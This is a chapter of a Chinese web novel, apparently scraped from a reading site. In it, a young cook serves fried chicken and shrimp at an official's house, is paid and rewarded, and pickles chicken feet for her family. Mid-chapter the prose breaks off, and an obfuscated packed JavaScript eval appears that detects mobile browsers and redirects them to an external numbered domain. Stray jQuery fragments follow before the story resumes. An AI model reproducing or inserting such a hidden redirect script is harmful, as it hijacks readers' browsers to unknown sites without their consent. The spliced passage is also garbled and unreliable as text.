36. 第 36 章

作品:《被休后的吃喝日常(美食)

    上菜的丫鬟们将一式两份的菜式分别端上了桌,这样别出一格的菜立马就吸引了一群小孩子的目光。这一个个小玩意,大家一个都不认识,就连刘子隽也是如此。


    怕人问起来自己不知道怎么答,他赶紧招呼大家动筷子,他第一个夹起了一个方方正正的鸡块吃了起来。


    外面裹着面粉炸得蓬松酥脆,吃起来都有些掉渣,可是露出里头有些粉嫩的鸡肉时又十分细腻香滑。刘子隽吃得咯吱咯吱的,其余人也是如此。


    这一个个比手掌还大的鸡腿,不吃到里面的肉还真不知道是个鸡腿。杜元凯不爱吃鸡肉偏爱吃这外面脆脆的皮,郭晗水则跟他相反就爱吃里面冒着热气的鸡腿肉,他俩一对上目光,便一个只吃皮一个只吃肉,接力似的处理了一个又一个的炸鸡腿。


    白恒冷平日里唯爱吃鱼虾,即便是油炸了也是如此,他鼻尖一动就知道这里面有鱼味。夹起一个扁扁的鱼饼,里头还夹杂着蔬菜碎,黄黄绿绿的点缀在其中格外好看。吃起来也是如此,新鲜的鱼肉细腻又没有刺,经过油炸后还保留着鱼肉的鲜味,吃起来好痛快。他一口鱼饼一口炸虾,也挺忙的。


    樊德应对吃的平日里就不感兴趣,这会见大家都埋头吃得欢,觉得格外有意思,瞧着他们吃得香仿佛自己也感染了这份开心似的。他尝尝山药片尝尝红薯片,咕噜咕噜嘬嘬几口果汁,摇头晃脑地欣赏小伙伴们的狼吞虎咽。


    更不用说另外一桌了。宋喜桃、秦树颍和焦明恩还好,毕竟是经常吃魏家小食摊的人,对这一桌炸鸡腿、鸡块、炸虾、山药片红薯片等到底是很好地接受了,下一秒就开始吃起来了。


    余下的几个书童和小厮,本来今日能够在刘侍郎府上上桌就有点不大适应,拘谨得很,一开始百般推脱但是拗不过刘子隽。没人陪着,那自己的三个伴读怎么办?硬是要他们上了桌一起吃。


    这下子看着一桌子没吃过没见过的吃食,大家互相偷偷用眼神示意,这都是什么?这些都咋吃?


    看着刘子隽的三个伴读各个吃得欢,于是也渐渐夹起最近的鸡块吃起来。这玩意吃起来又香又脆,里头的竟然还是肉,从外面丝毫看不出来。


    两桌小朋友吃得尽兴,小半个时辰就已经将大部分的盘碟清扫了个干干净净,大家的肚子也撑得厉害。这会都不顾形象地仰在椅子靠背上,嘴里还在回味方才的滋味。


    郭晗水摸了摸肚子,觉得吃多了有点难受,可是方才不吃的话心里也怪难受的。问刘子隽,“这可是你家厨娘做的?都是叫什么?赶明我也叫人去买些回来。”


    刘子隽吃得没那么多,这会还有胃口喝酸梅汤呢,“这是我从外面请回来的厨娘,不过这些你要是想从外面买的话,你想想可曾见到过这些玩意?”刘子隽说着都忍不住透出些得意来。


    郭晗水想了想确实没见过今日这些炸鸡炸虾的,又用眼神去看桌子上的另外三人,他们也只是摇头。


    “难不成你这的这些还是天下独一份的?”郭晗水装作吃惊的样子,用手捏起一块吃了一半的炸鸡腿,有些不服气:“这些看起来也不难做,我到时候回府上找个人琢磨琢磨也都想出来了。”


    杜元凯却道:“便是亲眼看了那厨娘做,也不大一定能做得出这种滋味,这厨上功夫自是千人千味。”


    他扭过头对着坐在上首的刘子隽嘿嘿笑道:“好兄弟,你把这厨娘借我用一用,不然下回吃到这样的玩意得是什么时候去了?”杜元凯想着,不管是请这厨娘回府上,还是给点钱抄个方子过来都行,就是不能让他白白错失了这个吃美食的好机会。


    刘子隽摆摆手,小大人般地叹了口气说道:“这厨娘断断是不肯去你府上干活的,人家有自己的生意,那就也不可能给你方子,不然人家怎么做生意?”


    刘子隽可不想让魏宜萱去了杜元凯的府上,这可是宋喜桃的好兄弟的大姐姐,四舍五入就是自己的半个大姐姐,况且杜元凯的爹娘向来对他大方,到时候要是真把魏宜萱请过去了怎么办?


    杜元凯有些不高兴,但是自己又想吃,只道:“那咱们几个以后常聚,或是生辰或是和别的人什么小聚,都把这个厨娘叫上。”这个主意听了大家都纷纷同意,既能吃好吃的,又可以出去出出风头。


    宋喜桃面上不显,其实竖着耳朵在听几位小郎君的谈话,知道他们对魏宜萱大为满意,又商定了日后还要再请魏宜萱,心下也欢喜,定要把这个好消息告诉大姐姐。这几个小郎君手头的银钱都不少,想来大姐姐每做一回都能赚不少。


    总之这顿饭吃得刘子隽是极为满意,不只是为了吃上了一顿美食,还为着其余人的反应。他找来自己的贴身小厮,让他去匣子里拿一包银子来给魏宜萱送去。


    魏宜萱在厨房里和其他几位小丫鬟一起把厨房收拾了一通,和她们交谈起来倒也怪有意思的。约摸着过去快一个时辰了,这才看见一个小厮打扮的人过来了,他叫住魏宜萱给了一个满满一大袋银子,“这是小郎君赏的。”


    魏宜萱倒真是吓了一大跳,“今日的工钱夫人已经结过了。”魏宜萱等到现在是因为前头的宴席还没有散,防着还有什么要求才没有走的。


    那小厮只是递到她手上,说道:“这是额外的赏钱,你就收了,今儿小郎君高兴。”


    这袋钱实在是太多了,于是魏宜萱实在忍不住就收下了。魏宜萱跟方嬷嬷告退,又厚着脸皮要了今日所有剩下的鸡爪子。方嬷嬷好奇道:“这没皮没肉的鸡爪子要着干什么?”又不好吃又不方便,方嬷嬷正准备扔给厨房养的几只大黑狗呢。


    要不是馋极了凤爪,魏宜萱估计也不好意思开这个口,可是得知这些鸡爪都要扔了,又实在是忍不下了。面对着方嬷嬷的不理解,魏宜萱笑嘻嘻地说道:“自己腌过之后可好吃了。”


    回去的路上,拿着一包沉甸甸的鸡爪子,再加上这两荷包的银子在胸口处坠坠的,让魏宜萱格外小心起来。


    回家时天已经快黑了,可是魏宜萱一点都不饿,甚至还有点兴奋。家里屋子点着蜡烛,大家都担心着呢。


    一见魏宜萱喜笑颜开地进来了,急不可耐的魏宜茂立即扑上去道:“大姐姐,是不是又赚了好多好多?”


    “正是正是。”魏宜萱将鸡爪子放下,又掏出两包银子,于是一家人就照例围在一起开始数钱。


    刘夫人心细,这次给的都是铜板,一千文串成一贯,足足有十五贯!而刘子隽额外赏的都是银锭,拿称称过之后,差不多是五两。这都比魏宜萱回家以来赚的钱差不多了。


    按照之前说好的,魏宜萱分给魏宜茂一贯,又给了魏宜芳一贯,拿出两贯钱给阿娘,当做是交给公用。自己还剩下十六贯钱。


    魏宜芳觉得自己这一回没出过力,不肯拿钱,魏宜萱却坚持让她收着,“拿着吧,你姐姐我如今赚得多了,对这些小钱也不大在意了。”


    明明是好心给分成,却说成如此模样,魏宜芳被逗笑,知道姐姐一向疼自己。


    魏宜萱却觉得虽然回回魏宜芳都说自己没出多少力,可家里的活依旧是她干得最多。她眼里有活,那些细碎的不起眼的活天长日久的干起来也是劳累,要不然这家里、这摊子上能一切都整齐干净呢。


    魏宜萱还有件值得庆贺的事没和大家说,“方才我回家,喜桃追出来了,他跟我说那群小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411386|166046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郎君吃得满意得很,还说了日后那几个也要请我去做菜。”


    做一次就能赚上这么多,这么几个小郎君,要是经常来请的话,一家人迷迷糊糊地感觉天上似乎真的掉馅饼了。


    魏老爹摸了摸胡须认真道:“咱们家好像要发达了。”


    大家笑作一团,魏宜芳这才注意到桌子上的另一大包东西,用油纸包得方方正正的,问道:“这一包也是赏赐吗?”


    魏宜茂一听眼疾手快地抢了过去,三两下就将油纸撕开,以为里面是什么新鲜好玩的,结果露出了白花花的好多鸡爪子。


    “全是鸡爪子。”魏宜茂还来不及失望,立即就想到了既然大姐姐带回来,那肯定是好吃的。不过往日里煮鸡炖鸡的,魏宜茂都不爱吃鸡爪子,没肉还费牙。


    “我问厨房的管事嬷嬷要的,今儿用了好多只鸡,剩下了这么多的鸡爪子,我就全拿回来了。”


    第二日早上出完摊回来,魏宜萱就把那包鸡爪子给处理了。先拿剪子一个个把指甲剪掉,再清洗干净,冷水下锅,放入姜片、料酒去腥。等煮到用筷子可以戳开鸡爪子的肉就可以捞出浸入凉水里面。


    鸡爪子煮熟之后就是调料,酱油、盐、陈醋、糖、芫荽和茱萸适量加进去,慢慢一盆鸡爪子来回搅拌均匀,各个都浸在汤汁中渐渐被染上了颜色。要想更入味的话,至少得浸入一个时辰左右才行。


    魏宜茂和赵丰年二人就站在桌子旁边目不转睛地看着,里头加了醋和茱萸,气味霸道闻起来很是勾人,两人都有些迫不及待了。


    中午吃饭时不用人叫,两人就搬好了凳子,乖乖坐在一边等着了。夹起一个鸡爪子,此时也是酱油色的,魏宜茂赶紧塞进嘴里。入口既是酸酸的滋味,而后带着点又甜又辣,滋味好丰富。鸡爪子被煮熟又经过井水浸泡,口感很是劲道,加上骨头又小,吃起来也是挺有乐趣的。


    魏宜茂和赵丰年二人用筷子吃得不方便,干脆夹出来之后用便用手拿着吃。这鸡爪子滋味十足,虽说肉少可是没想到吃起来这筋皮也别有一番滋味,两个孩子别的菜都没空吃,光顾着吃鸡爪子去了。


    魏宜芳见状,把鸡爪子挪了挪,“饭一口都没吃,还有这嫩菜心呢。”于是魏宜茂和赵丰年擦擦手又开始吃别的。


    就连一向胃口不好的魏阿娘也很喜欢这种酸酸辣辣的滋味,魏宜萱见家人都很爱吃,自己也很高兴。但一想到如今鸡爪子难得,不然真的可以去瓦子夜市去卖自己泡的凤爪。


    还不待魏宜萱为失去了卖凤爪的事遗憾,隔日宋喜桃就又带着人回来了。


    “这是大理寺少卿府上的小厮。”宋喜桃说着,让出一点,让那小厮上前自己回话。


    “我们家郎君说,近日天气凉爽预备着去西郊狩猎,惦记着娘子那日做的吃食,那一日想请娘子随行,做些吃食。”那大理寺少卿府上的小厮垂着手规矩说道。


    魏宜萱身后还站着魏宜芳、魏宜茂和赵丰年二人,几人瞧着这小厮的穿着打扮,哪里像是小厮,便说是谁家少爷也没人怀疑。


    因为之前宋喜桃的话,魏宜萱对这一邀请早就有所预料了,因而只点头答道,又细细问了日子等一些要求。


    魏宜茂在后头只顾着和赵丰年嚼耳朵,“本以为侍郎官就够大了,没想到这个什么少卿府上的小厮就这样气派。”两人叽叽咕咕小声讨论着,刘侍郎和这位大理寺少卿到底谁的官更大。


    宋喜桃来回匆匆,又要领着这位小厮回去复命,魏宜萱却叫住了准备出门的两位。她从厨房里头拿出一个大陶碗,魏宜茂和赵丰年一看就知道这是什么,顿时双双爆发出一声痛彻心扉的“不!!!”